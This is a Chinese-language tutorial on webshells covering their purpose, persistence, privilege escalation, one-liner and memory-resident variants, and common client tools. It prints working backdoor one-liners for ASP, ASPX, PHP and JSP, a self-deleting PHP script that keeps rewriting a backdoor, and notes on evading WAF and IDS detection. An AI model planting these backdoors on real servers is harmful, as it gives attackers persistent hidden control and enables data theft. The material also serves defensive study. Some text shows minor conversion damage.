WebShell 基礎詳解

WebShell 基礎

什麼是 WebShell?

顧名思義,“web” 的含義是顯然需要服務器開放 web 服務,“shell” 的含義是取得對服務器某種程度上操作權限。webshell 常常被稱爲入侵者通過網站端口對網站服務器的某種程度上操作的權限。由於 webshell 其大多是以動態腳本的形式出現,也有人稱之爲網站的後門工具。

Webshell 就是以aspphpjsp或者cgi等網頁文件形式存在的一種代碼執行環境,也可以將其稱做爲一種網頁後門。黑客在入侵了一個網站後,通常會將 asp 或 php 後門文件與網站目錄下正常的網頁文件混在一起,然後就可以使用瀏覽器來訪問 asp 或者 php 後門,得到一個命令執行環境,以達到控制網站服務器的目的。

利用 Webshell 可以在 Web 服務器上執行系統命令、竊取數據、植入病毒、Le 索核心數據、SEO 掛馬等惡意操作,危害極大。

WebShell 的特點

黑客使用 Webshell 的第一步通常是將其上傳到可以訪問的服務器中,例如利用用戶 CMS 系統的第三方插件中的漏洞上傳一個簡單的 php Webshell。當然,Webshell 類型和作用也不完全相同,一些簡單的 Webshell 只起到連接外界的作用,允許黑客插入更加精準的惡意腳本,執行他們所需要的指令;另外一些則可能更加複雜,帶有數據庫或文件瀏覽器,讓黑客能夠從數千英里之外的地方查看入侵系統的代碼和數據。無論何種設計,Webshell 都極其危險,是網絡罪犯和高級持續威脅 (APTs) 的常用工具。Webshell 常見的攻擊特點主要有以下幾點:

持久化遠程訪問

Webshell 腳本通常會包含後門,黑客上傳 Webshell 之後,就可以充分利用 Webshell 的後門實現遠程訪問並控制服務器,從而達到長期控制網站服務器的目的。此外,在上傳完 Webshell 之後,黑客會選擇自己修復漏洞,以確保沒有其他人會利用該漏洞。通過這種方式,黑客就可以一種低調的姿態,避免與管理員進行任何交互,同時仍然獲得相同的結果。

提權

在服務器沒有配置錯誤的情況下,Webshell 將在 web 服務器的用戶權限下運行,而用戶權限是有限的。通過 Webshell,黑客可以利用系統上的本地漏洞來實現權限提升,從而獲得 Root 權限,這樣黑客基本上可以在系統上做任何事情,包括安裝軟件、更改權限、添加和刪除用戶、竊取密碼、閱讀電子郵件等等。

隱蔽性極強

Webshell 可以嵌套在正常網頁中運行,且不容易被查殺。它還可以穿越服務器防火牆,由於與被控制的服務器或遠程主機交互的數據都是通過 80 端口傳遞,因此不會被防火牆攔截,在沒有記錄流量的情況下,Webshell 使用 post 包發送,也不會被記錄在系統日誌中,只會在 Web 日誌中記錄一些數據提交的記錄。

WebShell 的分類

Webshell 根據腳本可以分爲 PHP 腳本木馬,ASP 腳本木馬,JSP 腳本木馬,也有基於. NET 的腳本木馬。根據時代和技術的變遷,也有用 python 和 lua 編寫的腳本木馬,常用有如下幾種:

大馬

• 體積大,功能全 • 會調用系統關鍵函數 • 以代碼加密進行隱藏

小馬

• 體積小,功能少 • 一般只有一個上傳功能,用於上傳大馬

一句話木馬

• 代碼短 • 使用場景大,可單獨生成文件,可插入文件 • 安全性高,隱藏性強,可變形免殺 • 框架不變,數據執行,數據傳遞

打包馬

• 主要用於打包網站源碼

拖庫馬

• 主要用於導出網站數據庫

內存馬

• 無文件落地 • 極難檢測和發現 • 難以清除

注:之後所講的 WebShell 就是指一句話木馬

WebShell 的原理

Webshell 的惡意性表現在它的實現功能上,是一段帶有惡意目的的正常腳本代碼。

不同腳本類型的一句話木馬:

<%eval request(“cmd”)%>
<%@ Page Language=”Jscript”%><%eval(Request.Item[“cmd”],”unsafe”);%>
<?php @eval($_POST[‘cmd’]); ?>
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

這裏僅對 PHP 的一句話木馬進行分析,核心步驟如下:

數據的傳遞

$_GET$_POST$_COOKIES$_REQUEST$_FILE$_SERVER• 從遠程遠程 URL 中獲取數據: file_get_contentscurlsvn_checkout...(將需要執行的指令數據放在遠程 URL 中,通過URL_INCLUDE來讀取)• 從本地磁盤文件中獲取數據: filefile_get_contents...(將需要執行的指令數據放在本地磁盤文件中,利用 IO 函數來讀取)• 從數據庫中讀取(將需要執行的指令放在數據庫中,利用數據庫函數來讀取)• 從圖片頭部中獲取: exif_read_data...(將需要執行的指令數據放在圖片頭部中,利用圖片操作函數來讀取)

代碼執行

將用戶傳輸的數據進行執行

• 代碼執行函數:evalassertsystem… 執行(這是最普通、標準的代碼執行)•LFI:includerequire...(利用瀏覽器的僞協議將文件包含轉化爲代碼執行)• 動態函數執行:($()...PHP 的動態函數特性)•Curly Syntax:(${${…}}... 這種思路可以把變量賦值的漏洞轉化爲代碼執行的機會)

內存馬

有關 Java 內存馬以及 JspWebShell 的免殺我打算之後在 Java 代碼審計中詳細講解,這裏就全部以 PHP 的腳本木馬爲主。

何爲內存馬?

內存馬是無文件攻擊的一種常用手段,隨着攻防演練熱度越來越高:攻防雙方的博弈,流量分析、EDR 等專業安全設備被藍方廣泛使用,傳統的文件上傳的 webshll 或以文件形式駐留的後門越來越容易被檢測到,內存馬使用越來越多。

Webshell 內存馬,是在內存中寫入惡意後門和木馬並執行,達到遠程控制 Web 服務器的一類內存馬,其瞄準了企業的對外窗口:網站、應用。但傳統的 Webshell 都是基於文件類型的,黑客可以利用上傳工具或網站漏洞植入木馬,區別在於 Webshell 內存馬是無文件馬,利用中間件的進程執行某些惡意代碼,不會有文件落地,給檢測帶來巨大難度。

PHP 內存馬

PHP 內存馬,也叫做 PHP 不死馬、不死殭屍,在線下 AWD 中是常用手段之一。在蟻劍中也有專門的插件可以一鍵注入內存馬。原理也很簡單,相對於 Java 可以直接把整個 shell 寫入內存,php 內存馬的實現則是將一個木馬反覆寫入,達到無法刪除的目的。

<?php
ignore_user_abort(true); //設置客戶端斷開連接時是否中斷腳本的執行
set_time_limit(0); //設置腳本最大執行時間linux下可能不大好用
unlink(__FILE__); //刪除自身
$file = 'shell.php';
$code = '<?php @eval($_POST["cmd"]);?>';
while (1) {
file_put_contents($file$code);//惡意代碼
usleep(5000); //延遲執行可有可無
}
?>

本質上原理是不變大,執行死循環,然後刪除自身。但實際上這樣做還是會有文件落地,只是管理員刪不掉、刪不完罷了。我們也可以用利用 fastcgi 對 php 攻擊執行命令,但這樣是否算一個駐留 wenshell 還有待爭議。

WebShell 管理工具

中國菜刀(Chopper)

中國菜刀是一款專業的網站管理軟件,用途廣泛,使用方便,小巧實用。只要支持動態腳本的網站,都可以用中國菜刀來進行管理!在非簡體中文環境下使用,自動切換到英文界面。UNICODE 方式編譯,支持多國語言輸入顯示。

蟻劍(AntSword)

中國蟻劍是一款開源的跨平臺網站管理工具,它主要面向於合法授權的滲透測試安全人員以及進行常規操作的網站管理員。任何人不得將其用於非法用途以及盈利等目的,否則後果自行承擔!使用編 / 解碼器進行流量混淆可繞過 WAF,並且有多款實用插件。

項目地址:

•https://github.com/AntSwordProject/antSword

冰蠍 (Behinder)

冰蠍是一款基於 Java 開發的動態二進制加密通信流量的新型 Webshell 客戶端,由於它的通信流量被加密,使用傳統的 WAF、IDS 等設備難以檢測,目前在 HVV 中使用較多的一款工具。

項目地址:

•http://github.com/rebeyond/Behinder

哥斯拉 (Godzilla)

哥斯拉是一款繼冰蠍之後又一款於 Java 開發的加密通信流量的新型 Webshell 客戶端,內置了 3 種有效載荷以及 6 種加密器,6 種支持腳本後綴,20 個內置插件,也是目前在 HVV 中使用較多的一款工具。

• 項目地址:https://github.com/BeichenDream/Godzilla

C 刀 (Cknife)

C 刀是一款基於 Java 開發的完全基於配置文件的中國菜刀,跨平臺,腳本類型支持 ASP、ASPX、PHP、JSP、JSPX、Customize,目前完成的功能有:文件管理、數據庫管理、模擬終端以及代理設置等。

項目地址:

•https://github.com/Chora10/Cknife

Web 版菜刀(WebKnife)

WebKnife 是陌小離練習 ajax 時候寫的一款半成品 Web 版菜刀,目前完成的功能有:文件管理,虛擬終端,文件查看,圖片查看,一鍵掛黑,作者居然還是個 00 後,tql!

項目地址:

•https://github.com/MoLeft/WebKnife

XISE

XISE 是小駿用易語言開發的一款類似於中國菜刀的 Webshell 網站管理工具,早些年做黑帽 SEO 的基本人手一份,現在已經停止更新,至於什麼原因,大家都懂的!!!

開山斧

開山斧是一款基於 Python 2.7X + QT4 開發的一款跨平臺菜刀 (Win/Linux/Mac),體積比較大,剛出來時只用過一次,現在用的人應該不多,也已經停止更新了。

項目地址:

•https://github.com/pyqteval/evlal_win

K8 飛刀

K8 飛刀是 K8 哥哥開發的一款 Webshell 網站管理工具,不得不說他開發的安全工具都很強大且實用,只不過個人感覺略顯臃腫,對新人來說可能不是很友好,有興趣的可以自己去看一下。

項目地址:

•https://github.com/k8gege/K8tools

Weevely

Weevely 是一款 python 編寫的生成和管理 php webshell 的安全測試工具,目前擁有 30 多個模塊:文件管理、命令執行、數據庫管理、端口掃描等功能,部分模塊不支持在 Windows 環境下使用。

項目地址:

•https://github.com/epinna/weevely3

WeBaCoo

WeBaCoo 是一款 Perl 語言編寫的 Web 後門工具,它的特別之處在於 Web 服務器和客戶端之間的通信載體是 Cookie,這就意味着多數的殺毒軟件、網絡入侵檢測 / 防禦系統、網絡防火牆和應用程序防火牆都無法檢測到該後門的存在。當然,這只是以前的介紹,現在基本都會被檢測了。

項目地址:

•https://github.com/anestisb/WeBaCoo

本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源https://mp.weixin.qq.com/s/JbUJY2shFTWnbyGZilRssA